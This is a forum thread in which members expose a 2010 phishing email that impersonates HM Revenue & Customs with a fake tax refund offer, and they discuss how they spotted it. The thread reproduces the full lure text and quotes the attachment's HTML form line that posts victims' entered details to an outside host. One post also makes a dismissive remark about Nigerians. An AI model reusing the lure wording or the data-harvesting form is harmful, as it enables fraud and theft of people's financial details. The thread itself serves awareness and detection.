email so nearly taken as authentic!

[m8internet]

Dear Applicant:

Following an upgrade of our computer systems and review of our records we have investigated your payments and latest tax returns over the last seven years our calculations show you have made over payments of ?256.99
Due to the high volume of refunds due you must complete the on line application, the telephone help line is unable to assist with this application.
In order to process your refund you will need to complete the attached application form.
Your refund may take up to 3 weeks to process please make sure you complete the form correctly.
As we are upgrading our records we require the completed form showing your full current details by 15 January 2010

Please submit the form attached to confirm the refund.


S. M.Roberts
Senior Manager
HM Revenue & Customs

--------------------------------------------------------------
© Copyright 2010, HM Revenue & Customs UK All rights reserved.
TAX REFUND ID: A29R119
============

I do my tax return offline, so was very suspicious of this!
I ran the attachment and was found to be safe
I looked at all the links and they are all correctly sourced from the HMRC website

So I looked at the source code

I then found this line, to where the script sends all your data...
<formaction="http://www.wow-phoenix.de/inc/geshi/geshi/index2.php" name="processForm" method="POST" onsubmit="return submitIt(this)">

Not exactly well hidden!
The main bit that gave it away to me was that the VISA symbol is from PayPal and the secure code is from Argos!

[spennny]

Barstewards !!!


Well spotted mate !!

[Big Knox]

had loads of these. I do my tax return online and spotted this a mile away as a fake. However there are plenty of numpties out there that are easily taken in.

The biggest give away is the html form is attached to the e-mail. No genuine company would ask you to use this method.

[ed taylor]

They seem to be trying every trick in the book to scam money out of the inocent.

[Big Knox]

Your Vectra-C.com membership has been limited, please click here to unlock your account

[rockh]

It's quite a good one, at least they can spell

[SRimonkey]

ugh @least they aint nigerians,thats all i seem to get

[nick-v2.2]

My relatives are starting to have a strange one, where a random bloke phones from a withheld number, stating that there computer has a virus and needs cleaning requesting them to turn there computer on and go to a site and allow remote access.

They have been contacted 3 times in about 8 weeks, most recent last night.

Just had to contact bt and get them to look into it.

[m8internet]

The biggest give away is the html form is attached to the e-mail. No genuine company would ask you to use this method

Sadly legitimate companies, including my own, have to send out emails with attached forms for completion
I've even been sent such forms by the local authority so somethimg from the Inland Revenue wouldn't surprise

However, they normally start "Dear Mr [name]", not simply "Applicant"

[GazVXLINE170]

The bit that rings alarm bells befroe you get to the source code is ' the telephone help line is unable to assist with this application.'

Gazza4